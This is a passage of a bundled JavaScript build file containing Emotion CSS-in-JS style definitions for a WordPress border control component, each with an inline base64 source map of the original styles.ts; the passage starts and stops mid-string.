mcm9tICcuLi91bml0LWNvbnRyb2wvc3R5bGVzL3VuaXQtY29udHJvbC1zdHlsZXMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4vdHlwZXMnO1xuXG5jb25zdCBmb2N1c0JveFNoYWRvdyA9IGNzc2Bcblx0Ym94LXNoYWRvdzogaW5zZXQgJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGJvcmRlcjogMDtcblx0cGFkZGluZzogMDtcblx0bWFyZ2luOiAwO1xuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgaW5uZXJXcmFwcGVyID0gKCkgPT4gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0ZmxleDogMSAxIDQwJTtcblx0fVxuXHQmJiAkeyBVbml0U2VsZWN0IH0ge1xuXHRcdC8qIFByZXZlbnQgdW5pdCBzZWxlY3QgZm9yY2luZyBtaW4gaGVpZ2h0IGxhcmdlciB0aGFuIGl0cyBVbml0Q29udHJvbCAqL1xuXHRcdG1pbi1oZWlnaHQ6IDA7XG5cdH1cbmA7XG5cbi8qXG4gKiBUaGlzIHN0eWxlIGlzIG9ubHkgYXBwbGllZCB0byB0aGUgVW5pdENvbnRyb2wgd3JhcHBlciB3aGVuIHRoZSBib3JkZXIgd2lkdGhcbiAqIGZpZWxkIHNob3VsZCBiZSBhIHNldCB3aWR0aC4gT21pdHRpbmcgdGhpcyBhbGxvd3MgdGhlIFVuaXRDb250cm9sICZcbiAqIFJhbmdlQ29udHJvbCB0byBzaGFyZSB0aGUgYXZhaWxhYmxlIHdpZHRoIGluIGEgNDAvNjAgc3BsaXQgcmVzcGVjdGl2ZWx5LlxuICovXG5leHBvcnQgY29uc3Qgd3JhcHBlcldpZHRoID0gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0LyogRm9yY2UgdGhlIFVuaXRDb250cm9sJ3Mgc2V0IHdpZHRoLiAqL1xuXHRcdGZsZXg6IDAgMCBhdXRvO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3Qgd3JhcHBlckhlaWdodCA9ICggc2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICc0MHB4JyA6ICczMHB4JyB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xEcm9wZG93biA9IGNzc2Bcblx0YmFja2dyb3VuZDogI2ZmZjtcblxuXHQmJiA+IGJ1dHRvbiB7XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdCR7IHJ0bChcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMnB4IDAgMCAycHhgIH0sXG5cdFx0XHR7IGJvcmRlclJhZGl1czogYDAgMnB4IDJweCAwYCB9XG5cdFx0KSgpIH1cblx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXIgfTtcblxuXHRcdCY6Zm9jdXMsXG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdCR7IGZvY3VzQm94U2hhZG93IH1cblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yQm9yZGVyID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHsgY29sb3IsIHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgZmFsbGJhY2tDb2xvciA9XG5cdFx0ISEgc3R5bGUgJiYgc3R5bGUgIT09ICdub25lJyA/IENPTE9SUy5ncmF5WyAzMDAgXSA6IHVuZGVmaW5lZDtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGJvcmRlci1zdHlsZTogJHsgc3R5bGUgPT09ICdub25lJyA/ICdzb2xpZCcgOiBzdHlsZSB9O1xuXHRcdGJvcmRlci1jb2xvcjogJHsgY29sb3IgfHwgZmFsbGJhY2tDb2xvciB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yV3JhcHBlciA9IChcblx0Ym9yZGVyPzogQm9yZGVyLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0Y29uc3QgeyBzdHlsZSB9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0XHRib3JkZXI6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHQkeyBzdHlsZSA/IGNvbG9ySW5kaWNhdG9yQm9yZGVyKCBib3JkZXIgKSA6IHVuZGVmaW5lZCB9XG5cdFx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyNHB4JyA6ICcyMnB4JyB9O1xuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0cGFkZGluZzogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzJweCcgOiAnMXB4JyB9O1xuXG5cdFx0Lypcblx0XHQgKiBDb2xvckluZGljYXRvclxuXHRcdCAqXG5cdFx0ICogVGhlIHRyYW5zcGFyZW50IGNvbG9ycyB1c2VkIGhlcmUgZW5zdXJlIHZpc2liaWxpdHkgb2YgdGhlIGluZGljYXRvclxuXHRcdCAqIG92ZXIgdGhlIGFjdGl2ZSBzdGF0ZSBvZiB0aGUgYm9yZGVyIGNvbnRyb2wgZHJvcGRvd24ncyB0b2dnbGUgYnV0dG9uLlxuXHRcdCAqL1xuXHRcdCYgPiBzcGFuIHtcblx0XHRcdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0d2lkdGg6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRcdGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudChcblx0XHRcdFx0LTQ1ZGVnLFxuXHRcdFx0XHR0cmFuc3BhcmVudCA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA1MiUsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDUyJVxuXHRcdFx0KTtcblx0XHR9XG5cdGA7XG59O1xuXG4vLyBNdXN0IGVxdWFsICRjb2xvci1wYWxldHRlLWNpcmNsZS1zaXplIGZyb206XG4vLyBAd29yZHByZXNzL2NvbXBvbmVudHMvc3JjL2NpcmN1bGFyLW9wdGlvbi1waWNrZXIvc3R5bGUuc2Nzc1xuY29uc3Qgc3dhdGNoU2l6ZSA9IDI4O1xuY29uc3Qgc3dhdGNoR2FwID0gMTI7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRyb2xzID0gY3NzYFxuXHR3aWR0aDogJHsgc3dhdGNoU2l6ZSAqIDYgKyBzd2F0Y2hHYXAgKiA1IH1weDtcblxuXHQ+IGRpdjpmaXJzdC1vZi10eXBlID4gJHsgU3R5bGVkTGFiZWwgfSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0fVxuXG5cdCYmICR7IFN0eWxlZExhYmVsIH0gKyBidXR0b246bm90KCAuaGFzLXRleHQgKSB7XG5cdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRlbnQgPSBjc3NgYDtcbmV4cG9ydCBjb25zdCBib3JkZXJDb2xvckluZGljYXRvciA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgcmVzZXRCdXR0b25XcmFwcGVyID0gY3NzYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuXHRtYXJnaW4tdG9wOiAxMnB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlclNsaWRlciA9ICgpID0+IGNzc2Bcblx0ZmxleDogMSAxIDYwJTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiBzcGFjZSggMyApIH0gKSgpIH1cbmA7XG4iXX0= */");
32769 var wrapperWidth = /* @__PURE__ */ css(ValueInput, "{flex:0 0 auto;}" + (false ? "" : ";label:wrapperWidth;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE0QytCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIGJveFNpemluZ1Jlc2V0LCBydGwgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IFN0eWxlZExhYmVsIH0gZnJvbSAnLi4vYmFzZS1jb250cm9sL3N0eWxlcy9iYXNlLWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7XG5cdFZhbHVlSW5wdXQgYXMgVW5pdENvbnRyb2xXcmFwcGVyLFxuXHRVbml0U2VsZWN0LFxufSBmcm9tICcuLi91bml0LWNvbnRyb2wvc3R5bGVzL3VuaXQtY29udHJvbC1zdHlsZXMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4vdHlwZXMnO1xuXG5jb25zdCBmb2N1c0JveFNoYWRvdyA9IGNzc2Bcblx0Ym94LXNoYWRvdzogaW5zZXQgJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGJvcmRlcjogMDtcblx0cGFkZGluZzogMDtcblx0bWFyZ2luOiAwO1xuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgaW5uZXJXcmFwcGVyID0gKCkgPT4gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0ZmxleDogMSAxIDQwJTtcblx0fVxuXHQmJiAkeyBVbml0U2VsZWN0IH0ge1xuXHRcdC8qIFByZXZlbnQgdW5pdCBzZWxlY3QgZm9yY2luZyBtaW4gaGVpZ2h0IGxhcmdlciB0aGFuIGl0cyBVbml0Q29udHJvbCAqL1xuXHRcdG1pbi1oZWlnaHQ6IDA7XG5cdH1cbmA7XG5cbi8qXG4gKiBUaGlzIHN0eWxlIGlzIG9ubHkgYXBwbGllZCB0byB0aGUgVW5pdENvbnRyb2wgd3JhcHBlciB3aGVuIHRoZSBib3JkZXIgd2lkdGhcbiAqIGZpZWxkIHNob3VsZCBiZSBhIHNldCB3aWR0aC4gT21pdHRpbmcgdGhpcyBhbGxvd3MgdGhlIFVuaXRDb250cm9sICZcbiAqIFJhbmdlQ29udHJvbCB0byBzaGFyZSB0aGUgYXZhaWxhYmxlIHdpZHRoIGluIGEgNDAvNjAgc3BsaXQgcmVzcGVjdGl2ZWx5LlxuICovXG5leHBvcnQgY29uc3Qgd3JhcHBlcldpZHRoID0gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0LyogRm9yY2UgdGhlIFVuaXRDb250cm9sJ3Mgc2V0IHdpZHRoLiAqL1xuXHRcdGZsZXg6IDAgMCBhdXRvO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3Qgd3JhcHBlckhlaWdodCA9ICggc2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICc0MHB4JyA6ICczMHB4JyB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xEcm9wZG93biA9IGNzc2Bcblx0YmFja2dyb3VuZDogI2ZmZjtcblxuXHQmJiA+IGJ1dHRvbiB7XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdCR7IHJ0bChcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMnB4IDAgMCAycHhgIH0sXG5cdFx0XHR7IGJvcmRlclJhZGl1czogYDAgMnB4IDJweCAwYCB9XG5cdFx0KSgpIH1cblx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXIgfTtcblxuXHRcdCY6Zm9jdXMsXG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdCR7IGZvY3VzQm94U2hhZG93IH1cblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yQm9yZGVyID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHsgY29sb3IsIHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgZmFsbGJhY2tDb2xvciA9XG5cdFx0ISEgc3R5bGUgJiYgc3R5bGUgIT09ICdub25lJyA/IENPTE9SUy5ncmF5WyAzMDAgXSA6IHVuZGVmaW5lZDtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGJvcmRlci1zdHlsZTogJHsgc3R5bGUgPT09ICdub25lJyA/ICdzb2xpZCcgOiBzdHlsZSB9O1xuXHRcdGJvcmRlci1jb2xvcjogJHsgY29sb3IgfHwgZmFsbGJhY2tDb2xvciB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yV3JhcHBlciA9IChcblx0Ym9yZGVyPzogQm9yZGVyLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0Y29uc3QgeyBzdHlsZSB9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0XHRib3JkZXI6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHQkeyBzdHlsZSA/IGNvbG9ySW5kaWNhdG9yQm9yZGVyKCBib3JkZXIgKSA6IHVuZGVmaW5lZCB9XG5cdFx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyNHB4JyA6ICcyMnB4JyB9O1xuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0cGFkZGluZzogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzJweCcgOiAnMXB4JyB9O1xuXG5cdFx0Lypcblx0XHQgKiBDb2xvckluZGljYXRvclxuXHRcdCAqXG5cdFx0ICogVGhlIHRyYW5zcGFyZW50IGNvbG9ycyB1c2VkIGhlcmUgZW5zdXJlIHZpc2liaWxpdHkgb2YgdGhlIGluZGljYXRvclxuXHRcdCAqIG92ZXIgdGhlIGFjdGl2ZSBzdGF0ZSBvZiB0aGUgYm9yZGVyIGNvbnRyb2wgZHJvcGRvd24ncyB0b2dnbGUgYnV0dG9uLlxuXHRcdCAqL1xuXHRcdCYgPiBzcGFuIHtcblx0XHRcdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0d2lkdGg6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRcdGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudChcblx0XHRcdFx0LTQ1ZGVnLFxuXHRcdFx0XHR0cmFuc3BhcmVudCA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA1MiUsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDUyJVxuXHRcdFx0KTtcblx0XHR9XG5cdGA7XG59O1xuXG4vLyBNdXN0IGVxdWFsICRjb2xvci1wYWxldHRlLWNpcmNsZS1zaXplIGZyb206XG4vLyBAd29yZHByZXNzL2NvbXBvbmVudHMvc3JjL2NpcmN1bGFyLW9wdGlvbi1waWNrZXIvc3R5bGUuc2Nzc1xuY29uc3Qgc3dhdGNoU2l6ZSA9IDI4O1xuY29uc3Qgc3dhdGNoR2FwID0gMTI7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRyb2xzID0gY3NzYFxuXHR3aWR0aDogJHsgc3dhdGNoU2l6ZSAqIDYgKyBzd2F0Y2hHYXAgKiA1IH1weDtcblxuXHQ+IGRpdjpmaXJzdC1vZi10eXBlID4gJHsgU3R5bGVkTGFiZWwgfSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0fVxuXG5cdCYmICR7IFN0eWxlZExhYmVsIH0gKyBidXR0b246bm90KCAuaGFzLXRleHQgKSB7XG5cdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRlbnQgPSBjc3NgYDtcbmV4cG9ydCBjb25zdCBib3JkZXJDb2xvckluZGljYXRvciA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgcmVzZXRCdXR0b25XcmFwcGVyID0gY3NzYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuXHRtYXJnaW4tdG9wOiAxMnB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlclNsaWRlciA9ICgpID0+IGNzc2Bcblx0ZmxleDogMSAxIDYwJTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiBzcGFjZSggMyApIH0gKSgpIH1cbmA7XG4iXX0= */");
32770 var wrapperHeight = (size3) => {
32771 return /* @__PURE__ */ css("height:", size3 === "__unstable-large" ? "40px" : "30px", ";" + (false ? "" : ";label:wrapperHeight;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFvRFciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgYm94U2l6aW5nUmVzZXQsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgU3R5bGVkTGFiZWwgfSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHtcblx0VmFsdWVJbnB1dCBhcyBVbml0Q29udHJvbFdyYXBwZXIsXG5cdFVuaXRTZWxlY3QsXG59IGZyb20gJy4uL3VuaXQtY29udHJvbC9zdHlsZXMvdW5pdC1jb250cm9sLXN0eWxlcyc7XG5cbmltcG9ydCB0eXBlIHsgQm9yZGVyIH0gZnJvbSAnLi90eXBlcyc7XG5cbmNvbnN0IGZvY3VzQm94U2hhZG93ID0gY3NzYFxuXHRib3gtc2hhZG93OiBpbnNldCAkeyBDT05GSUcuY29udHJvbEJveFNoYWRvd0ZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQ29udHJvbCA9IGNzc2Bcblx0Ym9yZGVyOiAwO1xuXHRwYWRkaW5nOiAwO1xuXHRtYXJnaW46IDA7XG5cdCR7IGJveFNpemluZ1Jlc2V0IH1cbmA7XG5cbmV4cG9ydCBjb25zdCBpbm5lcldyYXBwZXIgPSAoKSA9PiBjc3NgXG5cdCR7IFVuaXRDb250cm9sV3JhcHBlciB9IHtcblx0XHRmbGV4OiAxIDEgNDAlO1xuXHR9XG5cdCYmICR7IFVuaXRTZWxlY3QgfSB7XG5cdFx0LyogUHJldmVudCB1bml0IHNlbGVjdCBmb3JjaW5nIG1pbiBoZWlnaHQgbGFyZ2VyIHRoYW4gaXRzIFVuaXRDb250cm9sICovXG5cdFx0bWluLWhlaWdodDogMDtcblx0fVxuYDtcblxuLypcbiAqIFRoaXMgc3R5bGUgaXMgb25seSBhcHBsaWVkIHRvIHRoZSBVbml0Q29udHJvbCB3cmFwcGVyIHdoZW4gdGhlIGJvcmRlciB3aWR0aFxuICogZmllbGQgc2hvdWxkIGJlIGEgc2V0IHdpZHRoLiBPbWl0dGluZyB0aGlzIGFsbG93cyB0aGUgVW5pdENvbnRyb2wgJlxuICogUmFuZ2VDb250cm9sIHRvIHNoYXJlIHRoZSBhdmFpbGFibGUgd2lkdGggaW4gYSA0MC82MCBzcGxpdCByZXNwZWN0aXZlbHkuXG4gKi9cbmV4cG9ydCBjb25zdCB3cmFwcGVyV2lkdGggPSBjc3NgXG5cdCR7IFVuaXRDb250cm9sV3JhcHBlciB9IHtcblx0XHQvKiBGb3JjZSB0aGUgVW5pdENvbnRyb2wncyBzZXQgd2lkdGguICovXG5cdFx0ZmxleDogMCAwIGF1dG87XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCB3cmFwcGVySGVpZ2h0ID0gKCBzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzQwcHgnIDogJzMwcHgnIH07XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQ29udHJvbERyb3Bkb3duID0gY3NzYFxuXHRiYWNrZ3JvdW5kOiAjZmZmO1xuXG5cdCYmID4gYnV0dG9uIHtcblx0XHRhc3BlY3QtcmF0aW86IDE7XG5cdFx0cGFkZGluZzogMDtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdFx0JHsgcnRsKFxuXHRcdFx0eyBib3JkZXJSYWRpdXM6IGAycHggMCAwIDJweGAgfSxcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMCAycHggMnB4IDBgIH1cblx0XHQpKCkgfVxuXHRcdGJvcmRlcjogJHsgQ09ORklHLmJvcmRlcldpZHRoIH0gc29saWQgJHsgQ09MT1JTLnVpLmJvcmRlciB9O1xuXG5cdFx0Jjpmb2N1cyxcblx0XHQmOmhvdmVyOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0JHsgZm9jdXNCb3hTaGFkb3cgfVxuXHRcdFx0Ym9yZGVyLWNvbG9yOiAkeyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdHotaW5kZXg6IDE7XG5cdFx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgY29sb3JJbmRpY2F0b3JCb3JkZXIgPSAoIGJvcmRlcj86IEJvcmRlciApID0+IHtcblx0Y29uc3QgeyBjb2xvciwgc3R5bGUgfSA9IGJvcmRlciB8fCB7fTtcblxuXHRjb25zdCBmYWxsYmFja0NvbG9yID1cblx0XHQhISBzdHlsZSAmJiBzdHlsZSAhPT0gJ25vbmUnID8gQ09MT1JTLmdyYXlbIDMwMCBdIDogdW5kZWZpbmVkO1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXN0eWxlOiAkeyBzdHlsZSA9PT0gJ25vbmUnID8gJ3NvbGlkJyA6IHN0eWxlIH07XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBjb2xvciB8fCBmYWxsYmFja0NvbG9yIH07XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgY29sb3JJbmRpY2F0b3JXcmFwcGVyID0gKFxuXHRib3JkZXI/OiBCb3JkZXIsXG5cdHNpemU/OiAnZGVmYXVsdCcgfCAnX191bnN0YWJsZS1sYXJnZSdcbikgPT4ge1xuXHRjb25zdCB7IHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0cmV0dXJuIGNzc2Bcblx0XHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXHRcdGJvcmRlcjogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdCR7IHN0eWxlID8gY29sb3JJbmRpY2F0b3JCb3JkZXIoIGJvcmRlciApIDogdW5kZWZpbmVkIH1cblx0XHR3aWR0aDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0aGVpZ2h0OiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMjRweCcgOiAnMjJweCcgfTtcblx0XHRwYWRkaW5nOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMnB4JyA6ICcxcHgnIH07XG5cblx0XHQvKlxuXHRcdCAqIENvbG9ySW5kaWNhdG9yXG5cdFx0ICpcblx0XHQgKiBUaGUgdHJhbnNwYXJlbnQgY29sb3JzIHVzZWQgaGVyZSBlbnN1cmUgdmlzaWJpbGl0eSBvZiB0aGUgaW5kaWNhdG9yXG5cdFx0ICogb3ZlciB0aGUgYWN0aXZlIHN0YXRlIG9mIHRoZSBib3JkZXIgY29udHJvbCBkcm9wZG93bidzIHRvZ2dsZSBidXR0b24uXG5cdFx0ICovXG5cdFx0JiA+IHNwYW4ge1xuXHRcdFx0aGVpZ2h0OiAkeyBzcGFjZSggNCApIH07XG5cdFx0XHR3aWR0aDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0YmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KFxuXHRcdFx0XHQtNDVkZWcsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDQ4JSxcblx0XHRcdFx0cmdiKCAwIDAgMCAvIDIwJSApIDQ4JSxcblx0XHRcdFx0cmdiKCAwIDAgMCAvIDIwJSApIDUyJSxcblx0XHRcdFx0dHJhbnNwYXJlbnQgNTIlXG5cdFx0XHQpO1xuXHRcdH1cblx0YDtcbn07XG5cbi8vIE11c3QgZXF1YWwgJGNvbG9yLXBhbGV0dGUtY2lyY2xlLXNpemUgZnJvbTpcbi8vIEB3b3JkcHJlc3MvY29tcG9uZW50cy9zcmMvY2lyY3VsYXItb3B0aW9uLXBpY2tlci9zdHlsZS5zY3NzXG5jb25zdCBzd2F0Y2hTaXplID0gMjg7XG5jb25zdCBzd2F0Y2hHYXAgPSAxMjtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xQb3BvdmVyQ29udHJvbHMgPSBjc3NgXG5cdHdpZHRoOiAkeyBzd2F0Y2hTaXplICogNiArIHN3YXRjaEdhcCAqIDUgfXB4O1xuXG5cdD4gZGl2OmZpcnN0LW9mLXR5cGUgPiAkeyBTdHlsZWRMYWJlbCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5cblx0JiYgJHsgU3R5bGVkTGFiZWwgfSArIG